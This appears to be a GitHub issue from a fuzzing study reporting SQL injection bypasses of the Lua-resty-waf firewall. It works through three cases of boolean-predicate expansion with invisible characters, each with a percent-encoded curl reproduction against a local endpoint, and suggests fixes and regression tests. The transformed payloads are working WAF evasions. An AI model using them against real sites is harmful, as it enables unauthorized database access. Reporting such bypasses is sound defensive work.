Skip to content

Lua-resty-waf GET: SQLi bypass via shallow boolean predicate expansion #339

Description

@WAFSignal

[Lua-resty-waf][GET] SQLi bypass via shallow boolean-predicate variants

Summary

  • WAF: Lua-resty-waf
  • Request manner: GET
  • Defect pattern: Shallow boolean-predicate variants.
  • Evaluation scope: 623 unique SQLi mutation attempts; 217 successful bypasses were observed in this manner.
  • In our log format, 1 => 0 means the WAF decision changed from malicious/blocked to benign/allowed.

Environment

  • WAF version: 0.11.1
  • Notes: OpenResty 1.19.9.1-alpine.

Mutation Rules Involved

The study associates this pattern with the following concrete fuzzer rules:

  • where_rewriting: rewrites WHERE <term> into WHERE <term> AND True

Invisible-character Notation

The payload excerpts below render invisible characters explicitly so they can be reviewed and reproduced:

  • <TAB> = horizontal tab (\t, U+0009)
  • <LF> = line feed (\n, U+000A)
  • <CR> = carriage return (\r, U+000D)
  • <FF> = form feed (\f, U+000C)
  • <VT> = vertical tab (\v, U+000B)
  • <NBSP> = non-breaking space (U+00A0)

Representative Successful Examples

Case 1

  • Final decision change: 1 => 0
  • Matching rationale: The transformed payload expands a simple boolean predicate without changing its malicious intent. Observable features: condition expansion, simple predicate.
  • Original payload excerpt:
...1 where 8578=8578 and 4770=4474--
  • Transformed payload excerpt, with invisible characters rendered explicitly:
1<LF>wHeRe<NBSP>'X' NOT LIKE 'X#'<FF>aNd<TAB>4770=4474--

Minimal Reproduction

  • Endpoint: http://127.0.0.1:9005/waf
  • Method: GET
  • Parameter name: id
  • Transport encoding: the payload is percent-encoded in the query string.
  • Expected behavior: the WAF blocks the request as SQL injection.
  • Observed behavior in the evaluation: the transformed payload was allowed (1 => 0).
curl -i 'http://127.0.0.1:9005/waf?id=1%0AwHeRe%C2%A0%27X%27%20NOT%20LIKE%20%27X%23%27%0CaNd%094770%3D4474--'

Case 2

  • Final decision change: 1 => 0
  • Matching rationale: The transformed payload expands a simple boolean predicate without changing its malicious intent. Observable features: condition expansion, simple predicate.
  • Original payload excerpt:
...1' ) where 6622 = 6622 order by 1--
  • Transformed payload excerpt, with invisible characters rendered explicitly:
1' ) <NBSP>WHErE<FF>576<NBSP>not like 577 orderby<NBSP>1--

Minimal Reproduction

  • Endpoint: http://127.0.0.1:9005/waf
  • Method: GET
  • Parameter name: id
  • Transport encoding: the payload is percent-encoded in the query string.
  • Expected behavior: the WAF blocks the request as SQL injection.
  • Observed behavior in the evaluation: the transformed payload was allowed (1 => 0).
curl -i 'http://127.0.0.1:9005/waf?id=1%27%20%29%20%C2%A0WHErE%0C576%C2%A0not%20like%20577%20orderby%C2%A01--'

Case 3

  • Final decision change: 1 => 0
  • Matching rationale: The transformed payload expands a simple boolean predicate without changing its malicious intent. Observable features: condition expansion, simple predicate.
  • Original payload excerpt:
...1 where 6494=6494 and 8463=2760
  • Transformed payload excerpt, with invisible characters rendered explicitly:
1<LF>wHERe<NBSP>7616<NBSP>NOT LIKE<NBSP>7617ANd<FF>8463=2760

Minimal Reproduction

  • Endpoint: http://127.0.0.1:9005/waf
  • Method: GET
  • Parameter name: id
  • Transport encoding: the payload is percent-encoded in the query string.
  • Expected behavior: the WAF blocks the request as SQL injection.
  • Observed behavior in the evaluation: the transformed payload was allowed (1 => 0).
curl -i 'http://127.0.0.1:9005/waf?id=1%0AwHERe%C2%A07616%C2%A0NOT%20LIKE%C2%A07617ANd%0C8463%3D2760'

Suggested Fixes

  • Add detection for shallow predicate expansion such as AND True, OR False, tautology/contradiction insertion, and WHERE <term> AND True rewrites.
  • Normalize simple WHERE <scalar> <operator> <scalar> predicates before SQLi evaluation.
  • Add these transformed payloads as regression tests and assert that they remain blocked after the fix.

Validation Plan

  • Replay the representative transformed payloads through the same request manner and confirm that the WAF still blocks them.
  • Add negative tests with benign requests containing ordinary comments, whitespace, or JSON formatting to monitor false positives.
  • Run the same canonicalization path across GET, GET(JSON), and POST to prevent request-manner-specific drift.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions